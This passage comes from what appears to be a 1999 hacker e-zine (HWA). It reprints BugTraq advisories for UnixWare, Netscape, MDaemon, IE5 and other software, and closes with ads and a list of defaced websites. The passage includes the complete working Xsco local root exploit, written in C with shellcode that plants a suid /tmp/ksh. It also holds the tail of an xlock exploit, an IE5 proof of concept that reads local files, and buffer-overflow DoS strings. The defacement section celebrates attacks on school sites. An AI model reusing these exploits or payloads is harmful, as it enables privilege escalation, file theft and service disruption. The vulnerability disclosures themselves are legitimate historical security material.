        memcpy(buffer+nop, shell, strlen(shell));
    
        for (i = nop+strlen(shell); i < SIZE-4; i += 4)
            *((int *) &buffer[i]) = esp+offset;
    
        printf("jmp = [0x%x]\toffset = [%d]\n",esp+offset,offset);
        execl("/usr/X/bin/xlock", "xlock", "-name", buffer, NULL);
    
        printf("exec failed!\n");
        return 0;
    }
    
    -----------------------------------------------------------------------------
    Patch:
    
    As stated in the previous advisory, wait for SCO to release a patch.
    Because of the /var/sadm permissions vulnerability we published earlier
    hasn't been fixed yet, be sure you take off suid privileges on the backed
    up binary! =)
    -----------------------------------------------------------------------------
    
    Hellos to the usuals
    
    @HWA 
    
    
43.0 Xsco (exec) local exploit
     ~~~~~~~~~~~~~~~~~~~~~~~~~ 

     bugtraq id  824
     object      Xsco (exec)
     class       Boundary Condition Error
     cve         GENERIC-MAP-NOMATCH
     remote      No
     local       Yes
     published   November 25, 1999
     updated     November 28, 1999
     vulnerable
                 SCO Unixware 7.0    
                 
      Under certain versions of Unixware, the SUID program Xsco is
      vulnerable to a buffer overflow attack. The problem lies in that Xsco
      does not sanity check user supplied data.            
      
      
     To: BugTraq
     Subject:[w00giving '99 #6]: UnixWare 7's Xsco
     Date: Thu Nov 25 1999 22:27:58
     Author:Matt Conover
     Message-ID: <Pine.LNX.3.95.991126042725.31331B-100000@cannabis.dataforce.net>
     
     
     w00w00 Security Development (WSD)
     http://www.w00w00.org/advisories.html
     
     Discovered by: K2 (ktwo@ktwo.ca)
     
     Due to improper bounds checking, an overflow occurs when a lengthy
     argument (argv[1]) is passed.  Because Xsco runs with superuser
     privileges, this can be exploited for elevated privileges.
     
     -----------------------------------------------------------------------------
     Exploit (by K2):
     
     // UnixWare7 /usr/X/bin/Xsco local, K2/cheez
     //
     // Xsco produces some strange side effect's with the execve; it seems
     // that commands can not be run interactively.  Thanks to cheez for the
     // shellcode.
     
     #include <unistd.h>
     #include <stdio.h>
     #include <stdlib.h>
     #include <string.h>
     
     
     char shell[] =
     /*   0 */ "\xeb\x5f"                         /* jmp springboard       */
     /* syscall:                                                           */
     /*   2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
     /*   9 */ "\xc3"                             /* ret                   */
     /* start:                                                             */
     /*  10 */ "\x5e"                             /* popl %esi             */
     /*  11 */ "\x31\xc0"                         /* xor %eax,%eax         */
     /*  13 */ "\x89\x46\x9d"                     /* movl %eax,-0x63(%esi) */
     /*  16 */ "\x88\x46\xa2"                     /* movb %al,-0x5e(%esi)  */
     /* seteuid:                                                           */
     /*  19 */ "\x31\xc0"                         /* xor %eax,%eax         */
     /*  21 */ "\x50"                             /* pushl %eax            */
     /*  22 */ "\xb0\x8d"                         /* movb $0x8d,%al        */
     /*  24 */ "\xe8\xe5\xff\xff\xff"             /* call syscall          */
     /*  29 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
     /* setuid:                                                            */
     /*  32 */ "\x31\xc0"                         /* xor %eax,%eax         */
     /*  34 */ "\x50"                             /* pushl %eax            */
     /*  35 */ "\xb0\x17"                         /* movb $0x17,%al        */
     /*  37 */ "\xe8\xd8\xff\xff\xff"             /* call syscall          */
     /*  42 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
     /* execve:                                                            */
     /*  45 */ "\x31\xc0"                         /* xor %eax,%eax         */
     /*  47 */ "\x50"                             /* pushl %eax            */
     /*  48 */ "\x56"                             /* pushl %esi            */
     /*  49 */ "\x8b\x1e"                         /* movl (%esi),%ebx      */
     /*  51 */ "\xf7\xdb"                         /* negl %ebx             */
     /*  53 */ "\x89\xf7"                         /* movl %esi,%edi        */
     /*  55 */ "\x83\xc7\x10"                     /* addl $0x10,%edi       */
     /*  58 */ "\x57"                             /* pushl %edi            */
     /*  59 */ "\x89\x3e"                         /* movl %edi,(%esi)      */
     /*  61 */ "\x83\xc7\x08"                     /* addl $0x8,%edi        */
     /*  64 */ "\x88\x47\xff"                     /* movb %al,-0x1(%edi)   */
     /*  67 */ "\x89\x7e\x04"                     /* movl %edi,0x4(%esi)   */
     /*  70 */ "\x83\xc7\x03"                     /* addl $0x3,%edi        */
     /*  73 */ "\x88\x47\xff"                     /* movb %al,-0x1(%edi)   */
     /*  76 */ "\x89\x7e\x08"                     /* movl %edi,0x8(%esi)   */
     /*  79 */ "\x01\xdf"                         /* addl %ebx,%edi        */
     /*  81 */ "\x88\x47\xff"                     /* movb %al,-0x1(%edi)   */
     /*  84 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
     /*  87 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
     /*  89 */ "\xe8\xa4\xff\xff\xff"             /* call syscall          */
     /*  94 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
     /* springboard:                                                       */
     /*  97 */ "\xe8\xa4\xff\xff\xff"             /* call start            */
     /* data:                                                              */
     /* 102 */ "\xff\xff\xff\xff"                 /* DATA                  */
     /* 106 */ "\xff\xff\xff\xff"                 /* DATA                  */
     /* 110 */ "\xff\xff\xff\xff"                 /* DATA                  */
     /* 114 */ "\xff\xff\xff\xff"                 /* DATA                  */
     /* 118 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
     /* 126 */ "\x2d\x63\xff";                    /* DATA                  */
     
     #define SIZE 600
     #define NOPDEF 101
     #define DEFOFF -240
     #define LEN 102
     
     const char x86_nop=0x90;
     long nop=NOPDEF,esp;
     long offset=DEFOFF;
     char buffer[SIZE];
     
     long get_esp() { __asm__("movl %esp,%eax"); }
     
     int main (int argc, char *argv[]) {
         int i,len;
         char *cmd = "cp /bin/ksh /tmp;chmod 4555 /tmp/ksh";
     
         memset(buffer, x86_nop, SIZE);
     
         len = strlen(cmd); len++; len = -len;
         shell[LEN+0] = (len >>  0) & 0xff;
         shell[LEN+1] = (len >>  8) & 0xff;
         shell[LEN+2] = (len >> 16) & 0xff;
         shell[LEN+3] = (len >> 24) & 0xff;
     
         if (argc > 1) offset += strtol(argv[1], NULL, 0);
         if (argc > 2) nop += strtoul(argv[2], NULL, 0);
         esp = get_esp();
     
         buffer[0]=':';
         memcpy(buffer+nop, shell, strlen(shell));
         memcpy(buffer+nop+strlen(shell), cmd,strlen(cmd));
         memcpy(buffer+nop+strlen(shell)+strlen(cmd),"\xff",1);
         for (i = nop+strlen(shell)+1+strlen(cmd); i < SIZE-4; i += 4) {
             *((int *) &buffer[i]) = esp+offset;
         }
     
         printf("jmp = [0x%x]\toffset = [%d]\tnop = [%d]\n",esp+offset,offset, nop);
         execl("/usr/X/bin/Xsco", "Xsco", buffer, NULL);
     
         printf("exec failed!\n");
         return 0;
     }
     
     -----------------------------------------------------------------------------
     Patch:
     
     Because SCO doesn't distribute source code for Unixware, we'll wait for
     them to release a patch.
     
     -----------------------------------------------------------------------------
     
     Contributors to w00giving '99: awr, jobe, Sangfroid, rfp, vacuum, and
     interrupt, k2, cheez, dmess0r, and others
     
     Today's w00sites:
     http://www.roses-labs.com
     http://www.technotronic.com
     
     @HWA
     
44.0 Deerfield WorldClient Pro 2.0.0.0 Boundary Condition Error
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


     bugtraq id  823
     class       Boundary Condition Error
     cve         GENERIC-MAP-NOMATCH
     remote      Yes
     local       Yes
     published   November 26, 1999
     updated     November 26, 1999
     vulnerable
                 Deerfield WorldClient Pro 2.0.0.0
                    - Microsoft Windows 98
                    - Microsoft Windows 95
                    - Microsoft Windows NT 4.0
                 Deerfield WorldClient Standard 2.0.0.0
                    - Deerfield Mdaemon 2.8.50
                       - Microsoft Windows 98
                       - Microsoft Windows 95
                       - Microsoft Windows NT 4.0     
                       
     Deerfield's WorldClient is an email webserver that allows it's users to
     retrieve email via HTTP. It is susceptible to denial of service attacks due
     to an unchecked buffer in the request handler. Supplying a long url will
     crash the server.                  
     
     Example:
     http ://target.host:2000/[long string]
     
     To: BugTraq
     Subject: Remote DoS Attack in WorldClient Server v2.0.0.0 Vulnerability
     Date: Wed Nov 24 1999 10:19:38
     Author: Ussr Labs
     Message-ID:<NCBBKFKDOLAGKIAPMILPOEPCCAAA.labs@ussrback.com>
    
    
    Remote DoS Attack in WorldClient Server v2.0.0.0 Vulnerability
    
    PROBLEM:
    UssrLabs found a buffer overflow in WorldClient Server v2.0.0.0 where they
    do not use proper bounds checking.
    The following all result in a Denial of Service against the service in
    question.
    
    affected services:
    
    WorldClient: Port 2000
    
    This two remotes services are affected to overflow of you send a large url
    name.
    
    Like: http:/serverip/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    
    For the Binary / Source for this WorldClient Server v2.0.0.0 Denial of
    Service:
    
    Go To: http://www.ussrback.com/mdeam285/
    
    
    Vendor Status:
    Contacted.
    
    Vendor   Url: http://www.mdaemon.com
    
    Credit: USSRLABS
    
    SOLUTION
        Nothing yet.
    
    
    
    u n d e r g r o u n d  s e c u r i t y  s y s t e m s  r e s e a r c h
    http://www.ussrback.com
    
    
    @HWA
           

45.0 Netscape Communicator 4.7 Boundary Condition Error
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     bugtraq id  822
     class       Boundary Condition Error
     cve         GENERIC-MAP-NOMATCH
     remote      Yes
     local       Yes
     published   November 26, 1999
     updated     November 26, 1999
     
     vulnerable
              Netscape Communicator 4.7
              
      Netscape Communicator 4.7 has been shown to crash when an
     argument of 800 characters is supplied to a command in an asp page.
     Some of the data passed as the argument makes it into the EIP and
     EBP registers, so execution of arbitrary code is a possibility. The
     overflow could be embedded in a link on a webpage or in an email
     message for remote attacks         
     
     
      To: BugTraq
      Subject: Netscape Communicator 4.7 - Navigator Overflows
      Date: Wed Nov 24 1999 00:15:36
      Author: Mike Boto
      Message-ID: <Pine.PMDF.3.96.991124141237.538990071A-100000@MAIL.HARTFORD.EDU>
     
     
     Netscape Communicator 4.7 - Navigator Overflow
     
     If this has already been posted please let me know.  This is also my first
     time submitting something, so if I'm doing something wrong bear with me.
     
     Netscape Navigator for Win95/98 has a hard time with .asp extensions.
     I've found that after entering the hexadecimal value 0xAAAAA....(I put in
     800 A's just to be sure) after the http://hostname.com/dosomething.asp?,
     Netscape crashes with the following error.
     
     NETSCAPE caused an invalid page fault in
     module <unknown> at 0084:41414141.
     Registers:
     EAX=00000000 CS=015f EIP=41414141 EFLGS=00010246
     EBX=00954c84 SS=0167 ESP=00b486f4 EBP=41414141
     ECX=0000003f DS=0167 ESI=000031d2 FS=0fdf
     EDX=00b47dd3 ES=0167 EDI=00b4c160 GS=0000
     Bytes at CS:EIP:
     
     Stack dump:
     41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
     41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
     
     The user is forced to reboot to get rid of the messagebox (well that's
     always how it is with Netscape errors).  It may be possible to execute
     arbitrary commands with.
     
     @HWA
     
46.0 Deerfield Mdaemon 2.8.50 exploit
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     bugtraq id  820
     class       Unknown
     cve         GENERIC-MAP-NOMATCH
     remote      Unknown
     local       Unknown
     published   November 24, 1999
     updated     November 24, 1999
     
     vulnerable
              Deerfield Mdaemon 2.8.50
                 - Microsoft Windows 98
                 - Microsoft Windows 95
                 - Microsoft Windows NT 4.0     
                 
     The Mdaemon mail server for Windows includes a small web server for
     web-based remote administration. This webserver is vulnerable due to
     an unchecked buffer that handles incoming GET requests. An
     abnormally large URL sent to the WebConfig service at port 2002 will
     crash the service.            
     
      To: BugTraq
      Subject:Multiples Remotes DoS Attacks in MDaemon Server v2.8.5.0 Vulnerability
      Date: Tue Nov 23 1999 17:20:19
      Author:Ussr Labs
      Message-ID:<NCBBKFKDOLAGKIAPMILPAEOMCAAA.labs@ussrback.com>
     
     
     Multiples Remotes DoS Attacks in MDaemon Server v2.8.5.0 Vulnerability
     
     PROBLEM:
     UssrLabs found multiple places in MDaemon v2.8.5.0 where they do not use
     proper bounds checking.
     The following all result in a Denial of Service against the service in
     question.
     
     affected services:
     
     WorldClient: Port 2000
     WebConfig : Port 2002
     
     This two remotes services are affected to overflow of you send a large url
     name.
     
     Like: http:/serverip/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
     
     For the Binary / Source for this MDaemon Server v2.8.5.0 Denial of Service:
     
     Go To: http://www.ussrback.com/mdeam285/
     
     
     Vendor Status:
     Contacted.
     
     Vendor   Url: http://www.mdaemon.com
     
     Credit: USSRLABS
     
     SOLUTION
         Nothing yet.
     
     u n d e r g r o u n d  s e c u r i t y  s y s t e m s  r e s e a r c h
     http://www.ussrback.com
     
     @HWA
     
47.0 Cabletron SmartSwitch Router 8000 firmware 2.x DoS
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
      

     bugtraq id    821
     class         Failure to Handle Exceptional Conditions
     cve           GENERIC-MAP-NOMATCH
     remote        Yes
     local         Yes
     published     November 24, 1999
     updated       November 24, 1999
     
     vulnerable
     
              Cabletron SmartSwitch Router 8000 firmware 2.x     
              
      The Cabletron SmartSwitch Router 8000 with firmware revision 2.x has
     been shown to susceptible to a denial of service attack. The SSR can
     only handle approximately 200 ARP requests per second. If an attacker
     can get ICMP traffic to the router, they can flood it with ARP requests,
     effectively shutting the router down for the duration of the attack.          
              
     Firmware revisions 3.x are not vulnerable to this attack. The latest
     firmware can be obtained at:
     http://www.cabletron.com/download/download.cgi?lib=ssr         
     
     Advisory:
     
     
      BV-007: SSR Denial of Service
      Published: Wed Nov 24 1999
      Updated: Wed Nov 24 1999 
      
      
      
      Bindview Security Advisory
      --------
      
      Cabletron SmartSwitch Router 8000 Firmware v2.x
      Issue date: November 24, 1999
      Contact: Scott Blake <blake@bos.bindview.com>
      
      Topic:
      Denial of Service Vulnerability in Cabletron's SmartSwitch Router (SSR)
      
      Overview:
      Cabletron's SSR is a Layers 2-4 routing and switching device with one of
      the fastest switching architectures in the industry.  Attackers can cause
      the SSR to stop handling any network traffic.
      
      Affected Systems:
      Bindview only confirms the vulnerability in the SSR 8000 running firmware
      revision 2.x.  Due to the nature of the problem, other equipment may
      be vulnerable, including other manufacturers' products.
      
      Impact:
      A malicious attacker can cause the SSR to stop functioning for as long
      as the attacker can continue feeding packets to the device.
      
      Details:
      Cabletron indicates that the bottleneck appears to occur in the ARP handling
      mechanism of the SSR.  The SSR appears to only be capable of handling ~200
      ARP requests per second.  Thus, by initiating network traffic to more than
      this critical number of IP addresses, an attacker can cause the router to
      stop
      functioning while the ARP handler is flooded.  In extreme cases, with input
      rates only available on the local network, it may be possible to corrupt the
      SSR's configuration with a sustained flood of new IP addresses.
      
      The danger in this problem arises from the fact that many perimeter defenses
      (firewalls) permit ICMP through, which means that remote, anonymous
      attackers
      may be able to crash the SSR.
      
      
      
      Fix Information:
      
      Upgrade your SSR firmware to version 3.x:
      http://www.cabletron.com/download/download.cgi?lib=ssr
      
      @HWA
      
48.0  Sun Forte Community Edition 1.0 Beta For NT access validation error
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

      bugtraq id  816
      class       Access Validation Error
      cve         GENERIC-MAP-NOMATCH
      remote      Yes
      local       No
      published   November 23, 1999
      updated     November 23, 1999
      
      vulnerable
              Sun Forte Community Edition 1.0 Beta For NT
                 - Microsoft Windows NT 4.0
              Sun Netbeans Developer 3.0 Beta For NT
                 - Microsoft Windows NT 4.0      
                 
     These Java development applications include an http server for testing
     purposes. The server can be configured to only respond to requests
     from certain IP addresses, however the mechanism fails and any
     requests received are serviced. The server will allow read access to any
     file on the filesystem that it haas access to, all the way up to the root
     directory. In the Netbeans product, this is the default 'out of the box'
     configuration. In the Forte product. IP addresses must be added
     manually to a list of permitted clients. Once a single IP address is
     added, any requests regardless of source are responded to            
     
     http ://victim.com:8082/
     
     
      To: BugTraq
      Subject: NetBeans/ Forte' Java IDE HTTP vulnerability
      Date: Mon Nov 22 1999 22:32:00
      Author: Halcyon Skinner
      Message-ID: <3.0.5.32.19991123123200.00975730@jhsph.edu>
     
     
     Vulnerable Application:
     Sun Microsystems NetBeans (recently renamed to Forte') Java IDE
     
     Versions tested:
     Netbeans Developer 3.0 Beta
     Forte Community Edition 1.0 Beta
     unknown if earlier versions have vulnerability
     
     Platform tested:
     Windows NT 4.0
     unknown if other platforms have vulnerability
     
     Description:
     The IDE includes an internal HTTP server to try Java code.  The settings
     indicate that access must be explicitly granted on a per IP address bases.
     However, when service is enabled for one machine, the HTTP server allows
     remote access to root and all subdirectories from any machine.  NOTE, for
     the NetBeans 3.0 Beta version, this is the default activity.  Therefore, no
     action is required by the user for the vulnerability to exist.  Under the
     Forte' 1.0 Beta version, a user must enable at least one address in the
     HTTP server settings for the vulnerability to exist.  However, once a
     single IP address is entered, any machine can connect to the internal HTTP
     server port (default is 8082).  Even if all IP addresses are removed, the
     server continues to allow connections when the IDE is running.
     
     Example:
     While the IDE is running connecting with any browser to
     http://vvv.xxx.yyy.zzz:8082/..
     provides a listing of the root directory.
     Sub-directories can then be accessed.
     
     Solution (work around):
     1) Set the HTTP Server "Enable" setting to False in Project settings.
     or
     2) Remove the HTTP Server module in Global settings.
     
     Vendor notified: Yes.
     
     @HWA
     
49.0 InterSoft NetTerm 4.2.x remote/local exploit
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     bugtraq id   819
     class        Unknown
     cve          GENERIC-MAP-NOMATCH
     remote       Yes
     local        Yes
     published    November 22, 1999
     updated      November 24, 1999
     vulnerable
                  InterSoft NetTerm 4.2.x
                     - Microsoft Windows 3.1
                     - Microsoft Windows 98
                     - Microsoft Windows 95
                     - Microsoft Windows NT 4.0  
                     
         InterSoft's internet suite includes an FTP server which has been found
     to have numerous vulnerabilities. Among them:
    
     The default configuration allows read/write access to the root of the C:
     drive for anonymous users. This write access includes overwrite and
     delete. If the server is setup with 'out of the box' options, anonymous
     remote users have full access to the operating system files and
     executables.
    
     There is no administrator account, which means that any user with
     console access can alter the server's settings.
    
     The encryption method used on the passwords for user accounts is
     reported to be weak and easily broken.
    
     There are also multiple buffer overflows. Supplying over 1024-character
     arguments to the following commands will crash the server: dir, ls, mkdir,
     delete, and rmdir. Also, althouth the PASS buffer is truncated at 16
     characters for users with accounts, this limit is not in place for the
     anonymous user (to allow for proper entry of email addresses as
     passwords) and a 1024-byte string 'password' will crash the server if
     user name 'anonymous' is supplied. It may be possible to exploit these
     overflows to run arbitrary code.  
     
     credit
      Posted to bugtraq on November 21, 1999 by Jeremy
      Iverson <jeremy@dragonmount.net>.

      reference
      web page:
               InterSoft Hompage
               http://starbase.neosoft.com/~zkrr01/html/netterm.html
               (InterSoft)
      message:
               DNA-1999-001: NetTerm FTP Daemon
               vulnerabilities
               (N/A)
               (Jeremy Iverson <jeremy@dragonmount.net>)
      web page:
               DNA-1999-001
               http://www.dragonmount.net/security/dna/dna-1999-001.htm
               (Dragonmount Networks)                 
      @HWA
      
50.0 Another MSIE Design error creates remote exploit 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     bugtraq id  815
     class       Design Error
     cve         GENERIC-MAP-NOMATCH
     remote      Yes
     local       Unknown
     published   November 22, 1999
     updated     November 23, 1999
     
     vulnerable
              Microsoft Internet Explorer 5.0 for Windows NT 4.0
                 + Microsoft Windows NT 4.0
              Microsoft Internet Explorer 5.0 for Windows 98
                 + Microsoft Windows 98
              Microsoft Internet Explorer 5.0 for Windows 95
                 + Microsoft Windows 95
              Microsoft Internet Explorer 5.0 for Windows 2000
                 - Microsoft Windows NT 2000.0       
                 
                 
      A vulnerability in the method IE5 uses to process XML data may allow a
      malicious web site owner to read files on a visiting user's computer. A
      web page may be created that contains an XML object type that
      contains instructions to read known files on a visitor's local host (and or
      domain). The IE5 client will allow the XML redirect to access files within
      its own domain.                 
      
      To:BugTraq
      Subject: IE 5.0 XML HTTP redirect problems
      Date: Mon Nov 22 1999 10:21:54
      Author: Georgi Guninski
      Message-ID: <38395F92.A77942B9@nat.bg>
     
     
     Disclaimer:
     The opinions expressed in this advisory and program are my own and not
     of any company.
     The usual standard disclaimer applies, especially the fact that Georgi
     Guninski is not liable for any damages caused by direct or  indirect use
     of the information or functionality provided by this program.
     Georgi Guninski, bears NO responsibility for content or misuse of this
     program or any derivatives thereof.
     
     Description:
     
     Internet Explorer 5.0 under Windows 95 and WinNT 4.0 (guess other
     versions are affected) has security problems with HTTP redirects in XML
     objects. This allows at least:
     1) Reading any (local or nonlocal) XML file and any wellformed
     documents. With the growing influence of XML I consider this a serious
     problem.
     2) Reading parts of documents
     3) Checking for the existence of local files.
     I suppose reading of arbitrary files (not just XML) is also possible,
     but do not have the time to explore.
     
     Details:
     
     When one embeds a XML document in a HTML document IE 5.0 does not handle
     properly HTTP redirects
     and allows access to the DOM of the embeded XML document.
     
     The code is:
     ----------------------------------------------------------------------------------------
     <object id="xm" type="text/xml"
     data="http://www.nat.bg/~joro/reject.cgi?autoexec" width=400 height=200>
     </object>
     <SCRIPT>
     function  f()
     {
     s=xm.body.innerHTML;
     a=window.open();
     //alert(s);
     a.document.open();
     a.document.write("Here is a part of AUTOEXEC.BAT (the error message is
     normal):<BR>"+s);
     a.document.close();
     }
     setTimeout("f()",5000);
     </SCRIPT>
     ----------------------------------------------------------------------------------------
     
     
     Workaround:
     Disable Active Scripting or Disable Script ActiveX Controls marked Safe
     for Scripting
     
     Demonstration is available at http://www.nat.bg/~joro/xmln.html
     
     Copyright 1999 Georgi Guninski
     
     Regards,
     Georgi Guninski
     http://www.nat.bg/~joro
     
     @HWA


      -=----------=-         -=----------=-        -=----------=-       -=----------=- 
                                           
                                             0                                     
                                             0                                     
                                             0
                                             o
                                           O O O   
                                             0
                                                                     
                                                                                  
      =----------=-   -=----------=-    -=----------=-   -=----------=-  -=----------=-
      
      =----------=-   -=----------=-    -=----------=-   -=----------=-  -=----------=-
     
     
         



     
     
     
     
     
AD.S  ADVERTI$ING.           The HWA black market                    ADVERTISEMENT$.
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
                              _                _   _     _
                     /\      | |              | | (_)   (_)
                    /  \   __| |_   _____ _ __| |_ _ ___ _ _ __   __ _
                   / /\ \ / _` \ \ / / _ \ '__| __| / __| | '_ \ / _` |
                  / ____ \ (_| |\ V /  __/ |  | |_| \__ \ | | | | (_| |
                 /_/    \_\__,_| \_/ \___|_|   \__|_|___/_|_| |_|\__, |
                                                                  __/ |
                                                                 |___/
                                                                 
                                                                 
       ADVERTISING IS FREE, SEND IN YOUR ADS TO CRUCIPHUX@DOK.ORG FOR INCLUSION HERE                                                                  

      
      
       *****************************************************************************
       *                                                                           *
       *           ATTRITION.ORG     http://www.attrition.org                      *
       *           ATTRITION.ORG     Advisory Archive, Hacked Page Mirror          *
       *           ATTRITION.ORG     DoS Database, Crypto Archive                  *
       *           ATTRITION.ORG     Sarcasm, Rudeness, and More.                  * 
       *                                                                           *
       *****************************************************************************      
              
 
 
       When people ask you "Who is Kevin Mitnick?" do you have an answer? 
 
       www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.freekevi
       n.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnick.co
       m www.2600.com ########################################ww.2600.com www.freeke
       vin.com www.kev#  Support 2600.com and the Free Kevin #.com www.kevinmitnick.
       com www.2600.co#  defense fund site, visit it now! .  # www.2600.com www.free
       kevin.com www.k#             FREE EVIN!              #in.com www.kevinmitnic
       k.com www.2600.########################################om www.2600.com www.fre
       ekevin.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnic
       k.com www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.fre

       http://www.2600.com/  http://www.kevinmitnick.com
       
       
       +-----------------------------------------------------------------------------+
       | SmoG Alert ..           http://smog.cjb.net/        NEWS on SCIENCE         |
       | ===================     http://smog.cjb.net/        NEWS on SECURITY        |
       | NEWS/NEWS/NEWS/NEWS     http://smog.cjb.net/        NEWS on THE NET         |
       |                         http://smog.cjb.net/        NEWS on TECHNOLOGY      |
       +-----------------------------------------------------------------------------+
       
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       * www.csoft.net webhosting, shell, unlimited hits bandwidth ... www.csoft.net *
       *   www.csoft.net www.csoft.net www.csoft.net www.csoft.net www.csoft.net     *
       *  http://www.csoft.net" One of our sponsers, visit them now  www.csoft.net   * 
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       
       

       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       * WWW.BIZTECHTV.COM/PARSE WEDNESDAYS AT 4:30PM EST, HACK/PHREAK CALL-IN WEBTV *
       * JOIN #PARSE FOR LIVE PARTICIPATION IN SHOW CHAT OR THE WEBCHAT, AND WEBBOARD*
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       
       
       

       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       * WWW.2600.COM OFF THE HOOK LIVE NETCAST'S TUES SIMULCAST ON WBAI IN NYC @8PM *
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *


         //////////////////////////////////////////////////////////////////////////////
        //  To place an ad in this section simply type it up and email it to        //
       //        hwa@press,usmc.net, put AD! in the subject header please. - Ed    //
      //     or cruciphux@dok.org                                                 //
      //////////////////////////////////////////////////////////////////////////////


     @HWA
     
       
              
             
HA.HA Humour and puzzles ...etc
      ~~~~~~~~~~~~~~~~~~~~~~~~~
                                                           Don't worry. worry a *lot*
     
      Send in submissions for this section please! ............c'mon, you KNOW you
      wanna...yeah you do...make it fresh and new...be famous...<sic> 
      
      
      
       
       
 SITE.1 
      
      http://www.sshackers.com/
      
      sSh (Sesame Street Hackers) have been responsible for a recent deluge of www
      defacements and it appears they have now regged a domain and set up a home
      page. Check the hacked sites section for hacks by sSh.
      
      Sesame Street Hackers home page (brand new) just opened up, nothing much there
      yet but maybe a bit too much info on affiliates and members... - Ed
      
      Members :

      · altomo 
      · asshair 
      · chem 
      · cvf 
      · cua0 
      · dap 
      · darkness 
      · ieet 
      · mata 
      · nugz 
      · rackmount 
      · secto0r 
      · sreality 
      · system_v 
      · vghk 
      · zenomorph 
      
      Watch for an interview with sSh in the next issue of the zine.
      
      
      
      http://www.nethersearch.com/
      
      Underground search portal with a lot of local content too, well worth checking 
      out HWA is also mirrored there, and a lot of decent tutorials and the like can
      be found within this site. Check her out.
      
       
     
            
      You can Send in submissions for this section too if you've found 
      (or RUN) a cool site...
       
        
       
      @HWA
       
         
         
  H.W Hacked websites 
     ~~~~~~~~~~~~~~~~
    
                    ___|                  _ \               |
                   |      __| _` |\ \  / |   |  __| _ \  _` |
                   |     |   (   | `  <  |   | |    __/ (   |
                  \____|_|  \__,_| _/\_\\___/ _|  \___|\__,_|


      Note: The hacked site reports stay, especially wsith some cool hits by
            groups like *H.A.R.P, go get em boyz racism is a mugs game! - Ed

          * Hackers Against Racist Propaganda (See issue #7)

     
      Haven't heard from Catharsys in a while for those following their saga visit
      http://frey.rapidnet.com/~ptah/ for 'the story so far'...
      
      Hacker groups breakdown is available at Attrition.org
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      check out http://www.attrition.org/mirror/attrition/groups.html to see who
      you are up against. You can often gather intel from IRC as many of these
      groups maintain a presence by having a channel with their group name as the
      channel name, others aren't so obvious but do exist.
      
      >Hacked Sites Start<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
      
      * Info supplied by the attrition.org mailing list.
      
      
      Domain: http://b0f.morphed.net/
      By: New York Hardcore
      
           
      Owned by "New York HardCore" 

      h0 h0 h0. Got U by suprise ,didn't we ?!? 
      Well, nuttin' wuz deleted. Just rename 
      index.bak to index.html. 

      Now the shoutz: ytcracker, s0n, sSH, 
      mosthated, ieet, p4riah, sarin, #sesame 
      Cruciphux, fuqraq, flipz, #parse and to 
      all my homeboyz down in br00klyn. 

      0wned by NyHC *New York HardCore* 
      - neo 
      - impact 
      
      Defaced domain: www.forsyth.k12.ga.us
      Site Title: Forsyth K12 (GA) 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/21/www.forsyth.k12.ga.us
      Defaced by: sector 
      Operating System: Windows NT (IIS/4.)  *yawn*
       
       
      Defaced domain: www.forsyth.lanier.tec.ga.us
      Site Title: Lanier Technical Institute 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/21/www.forsyth.lanier.tec.ga.us 
      Defaced by: sect0r 
      Operating System: Windows NT (IIS/4.0)  *big surprise*
      
      
      Defaced domain: www.eskom.co.za 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/21/www.eskom.co.za 
      Defaced by: binary outlaws 
      Operating System: Windows NT (IIS/4.0)   *we should make a macro*
       
       
      
      Defaced domain: www.cepnyc.org
      Site Title: Council on Economic Proirities 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.cepnyc.org 
      Defaced by: acidklown & xhostile 
      Operating System: Windows NT (FileMakerPro/4.0)
       
       
      
      Defaced domain: www.smartparts.com
      Site Title: Smartparts International 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.smartparts.com 
      Defaced by: who cares 
      Operating System: Windows NT (IIS/4.0)
       
       
      
      
      Defaced domain: pritchett.k12.co.us
      Site Title: K12 Colorado 
